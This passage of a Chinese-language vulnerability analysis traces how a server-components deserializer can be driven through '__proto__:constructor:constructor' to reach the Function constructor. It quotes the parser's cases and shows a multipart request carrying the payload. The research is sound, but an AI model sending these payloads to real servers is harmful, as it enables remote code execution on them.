left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">Array</span></code><span leaf=""> 类型的构造函数对象：</span></p><figure style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));margin: 1.5em 8px;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;color: rgb(63, 63, 63);"><span leaf=""><img data-imgfileid="100008986" class="rich_pages wxw-img" data-ratio="0.19823356231599606" data-type="png" data-w="1019" style="box-sizing: border-box;border: 1px solid rgba(0, 0, 0, 0.04);display: block;vertical-align: middle;max-width: 100%;height: auto;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;margin: 0.1em auto 0.5em;border-radius: 8px;" title="null" src="https://wechat2rss.xlab.app/img-proxy/?k=7152ca8a&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F9UsWg6ibZLAypIOic9iaicXObb1zibvotm6icFKyM16VMpcTxSS0R5ib7xBGBkHaka5oUibS7FHP5v5egEtgMrsibdTHbUA%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span><figcaption style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));text-align: center;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 0.8em;color: rgb(136, 136, 136);"></figcaption></figure><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));margin: 1.5em 8px;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span leaf="">如果再加一个 </span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">constructor</span></code><span leaf=""> 呢？</span></p><pre style="box-sizing: border-box;border: 1px solid rgba(0, 0, 0, 0.04);font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;margin: 10px 8px;color: rgb(201, 209, 217);background: rgb(13, 17, 23);text-align: left;line-height: 1.5;overflow-x: auto;border-radius: 8px;padding: 0px !important;"><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: &#34;Fira Code&#34;, Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;font-feature-settings: normal;font-variation-settings: normal;font-size: 12.15px;display: -webkit-box;padding: 0.5em 1em 1em;overflow-x: auto;text-indent: 0px;text-align: left;line-height: 1.75;margin: 0px;white-space: pre-wrap;"><span leaf="">{&#34;a&#34;:&#34;$1:__proto__:constructor:constructor&#34;}</span></code></pre><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));margin: 1.5em 8px;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span leaf="">可以获取到 </span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">Function</span></code><span leaf=""> 对象：</span></p><figure style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));margin: 1.5em 8px;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;color: rgb(63, 63, 63);"><span leaf=""><img data-imgfileid="100008985" class="rich_pages wxw-img" data-ratio="0.11203703703703703" data-type="png" data-w="1080" style="box-sizing: border-box;border: 1px solid rgba(0, 0, 0, 0.04);display: block;vertical-align: middle;max-width: 100%;height: auto;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;margin: 0.1em auto 0.5em;border-radius: 8px;" title="null" src="https://wechat2rss.xlab.app/img-proxy/?k=09438c73&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F9UsWg6ibZLAypIOic9iaicXObb1zibvotm6icFLMsvRfrLLicDthylpmTzpytgk7FzQkcMluK1llPQSs0H9WL6GlPSG1g%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span><figcaption style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));text-align: center;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 0.8em;color: rgb(136, 136, 136);"></figcaption></figure><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));margin: 1.5em 8px;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span leaf="">变化过程如下：</span></p><pre style="box-sizing: border-box;border: 1px solid rgba(0, 0, 0, 0.04);font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;margin: 10px 8px;color: rgb(201, 209, 217);background: rgb(13, 17, 23);text-align: left;line-height: 1.5;overflow-x: auto;border-radius: 8px;padding: 0px !important;"><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: &#34;Fira Code&#34;, Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;font-feature-settings: normal;font-variation-settings: normal;font-size: 12.15px;display: -webkit-box;padding: 0.5em 1em 1em;overflow-x: auto;text-indent: 0px;text-align: left;line-height: 1.75;margin: 0px;white-space: pre-wrap;"><span leaf="">$1:__proto__:constructor:constructor</span><span leaf=""><br/></span><span leaf="">    -&gt;[]:__proto__:constructor:constructor</span><span leaf=""><br/></span><span leaf="">        -&gt;Array:constructor:constructor</span><span leaf=""><br/></span><span leaf="">            -&gt;Array<a class="wx_topic_link" topic-id="mj04xccu-azclih" style="color: #576B95 !important;" data-topic="1">#constructor</a>:constructor </span><span leaf=""><br/></span><span leaf="">                -&gt;new Function</span></code></pre><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));margin: 1.5em 8px;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span leaf="">除了 </span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">getOutlinedModel</span></code><span leaf=""> 这个 </span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">Sink</span></code><span leaf=""> 点外，调试发现还有其他的多个潜在 </span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">Sink</span></code><span leaf=""> 点，比如 </span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">createModelResolver</span></code><span leaf=""> 函数等，实际触发哪个 </span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">Sink</span></code><span leaf=""> 取决于请求的格式 ：</span></p><figure style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));margin: 1.5em 8px;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;color: rgb(63, 63, 63);"><span leaf=""><img data-imgfileid="100008992" class="rich_pages wxw-img" data-ratio="0.7838509316770186" data-type="png" data-w="805" style="box-sizing: border-box;border: 1px solid rgba(0, 0, 0, 0.04);display: block;vertical-align: middle;max-width: 100%;height: auto;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;margin: 0.1em auto 0.5em;border-radius: 8px;" title="null" src="https://wechat2rss.xlab.app/img-proxy/?k=5802f3ea&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F9UsWg6ibZLAypIOic9iaicXObb1zibvotm6icFqd1so1UibwZuZYkCicIfxf17LsrRoGjduTBHocwZWWZMNZAconFkCCkw%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span><figcaption style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));text-align: center;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 0.8em;color: rgb(136, 136, 136);"></figcaption></figure><h2 data-heading="true" style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-size: 19.5px;font-weight: bold;margin: 4em auto 2em;text-align: center;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;display: table;padding: 0.3em 1.2em;color: rgb(255, 255, 255);background: rgb(15, 76, 129);border-radius: 8px 24px;box-shadow: rgba(0, 0, 0, 0.06) 0px 2px 6px;"><span leaf="">漏洞触发流程</span></h2><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));margin: 1.5em 8px;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span leaf="">在构造利用 </span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">payload</span></code><span leaf=""> 之前，先分析下 </span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">parseModelString</span></code><span leaf=""> 函数的解析过程。重点关注以下几个：</span></p><ul style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));list-style: none;margin: 0px;padding: 0px 0px 0px 1.5em;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;color: rgb(63, 63, 63);" class="list-paddingleft-1"><li style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;text-indent: -1em;display: block;margin: 0.5em 8px;color: rgb(63, 63, 63);"><p><span leaf="">• </span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">@</span></code></p></li></ul><pre style="box-sizing: border-box;border: 1px solid rgba(0, 0, 0, 0.04);font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;margin: 10px 8px;color: rgb(201, 209, 217);background: rgb(13, 17, 23);text-align: left;line-height: 1.5;overflow-x: auto;border-radius: 8px;padding: 0px !important;"><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: &#34;Fira Code&#34;, Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;font-feature-settings: normal;font-variation-settings: normal;font-size: 12.15px;display: -webkit-box;padding: 0.5em 1em 1em;overflow-x: auto;text-indent: 0px;text-align: left;line-height: 1.75;margin: 0px;white-space: pre-wrap;"><span leaf="">case &#34;@&#34;:</span><span leaf=""><br/></span><span leaf="">    return (</span><span leaf=""><br/></span><span leaf="">      (obj = parseInt(value.slice(2), 16)), getChunk(response, obj)</span><span leaf=""><br/></span><span leaf="">);</span></code></pre><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));margin: 1.5em 8px;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span leaf="">将前面的 </span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">$@</span></code><span leaf=""> 去掉，然后获取对应的 </span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">Chunk</span></code><span leaf=""> 对象，比如：</span></p><pre style="box-sizing: border-box;border: 1px solid rgba(0, 0, 0, 0.04);font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;margin: 10px 8px;color: rgb(201, 209, 217);background: rgb(13, 17, 23);text-align: left;line-height: 1.5;overflow-x: auto;border-radius: 8px;padding: 0px !important;"><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: &#34;Fira Code&#34;, Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;font-feature-settings: normal;font-variation-settings: normal;font-size: 12.15px;display: -webkit-box;padding: 0.5em 1em 1em;overflow-x: auto;text-indent: 0px;text-align: left;line-height: 1.75;margin: 0px;white-space: pre-wrap;"><span leaf="">------WebKitFormBoundaryMbWcGIXACxyQWJIp</span><span leaf=""><br/></span><span leaf="">Content-Disposition: form-data; name=&#34;1&#34;</span><span leaf=""><br/></span><span leaf="">&#34;$@0&#34;</span><span leaf=""><br/></span><span leaf="">------WebKitFormBoundaryMbWcGIXACxyQWJIp</span><span leaf=""><br/></span><span leaf="">Content-Disposition: form-data; name=&#34;0&#34;</span><span leaf=""><br/></span><span leaf="">{&#34;a&#34;:&#34;$1:__proto__:constructor:constructor&#34;}</span><span leaf=""><br/></span><span leaf="">------WebKitFormBoundaryMbWcGIXACxyQWJIp--</span></code></pre><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));margin: 1.5em 8px;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span leaf="">此时将会获取 </span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">Chunk</span></code><span leaf=""> 对象本身：</span></p><figure style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));margin: 1.5em 8px;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;color: rgb(63, 63, 63);"><span leaf=""><img data-imgfileid="100008990" class="rich_pages wxw-img" data-ratio="0.18658892128279883" data-type="png" data-w="1029" style="box-sizing: border-box;border: 1px solid rgba(0, 0, 0, 0.04);display: block;vertical-align: middle;max-width: 100%;height: auto;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;margin: 0.1em auto 0.5em;border-radius: 8px;" title="null" src="https://wechat2rss.xlab.app/img-proxy/?k=3352d939&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F9UsWg6ibZLAypIOic9iaicXObb1zibvotm6icFOuhCcvicm4quP9Erqwzy6ic3TCgP2FiaNL8Jqh6gTukNAlyicmYtm2PD6A%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span><figcaption style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));text-align: center;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 0.8em;color: rgb(136, 136, 136);"></figcaption></figure><ul style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));list-style: none;margin: 0px;padding: 0px 0px 0px 1.5em;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;color: rgb(63, 63, 63);" class="list-paddingleft-1"><li style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;text-indent: -1em;display: block;margin: 0.5em 8px;color: rgb(63, 63, 63);"><p><span leaf="">• </span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">B</span></code></p></li></ul><pre style="box-sizing: border-box;border: 1px solid rgba(0, 0, 0, 0.04);font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;margin: 10px 8px;color: rgb(201, 209, 217);background: rgb(13, 17, 23);text-align: left;line-height: 1.5;overflow-x: auto;border-radius: 8px;padding: 0px !important;"><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: &#34;Fira Code&#34;, Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;font-feature-settings: normal;font-variation-settings: normal;font-size: 12.15px;display: -webkit-box;padding: 0.5em 1em 1em;overflow-x: auto;text-indent: 0px;text-align: left;line-height: 1.75;margin: 0px;white-space: pre-wrap;"><span leaf="">case &#34;B&#34;:</span><span leaf=""><br/></span><span leaf="">    return (</span><span leaf=""><br/></span><span leaf="">      (obj = parseInt(value.slice(2), 16)),</span><span leaf=""><br/></span><span leaf="">      response._formData.get(response._prefix + obj)</span><span leaf=""><br/></span><span leaf="">    );</span><span leaf=""><br/></span><span leaf="">}</span></code></pre><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));margin: 1.5em 8px;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span leaf="">将会触发 </span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">response._formData.get</span></code><span leaf=""> 调用，如果可以污染 </span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: 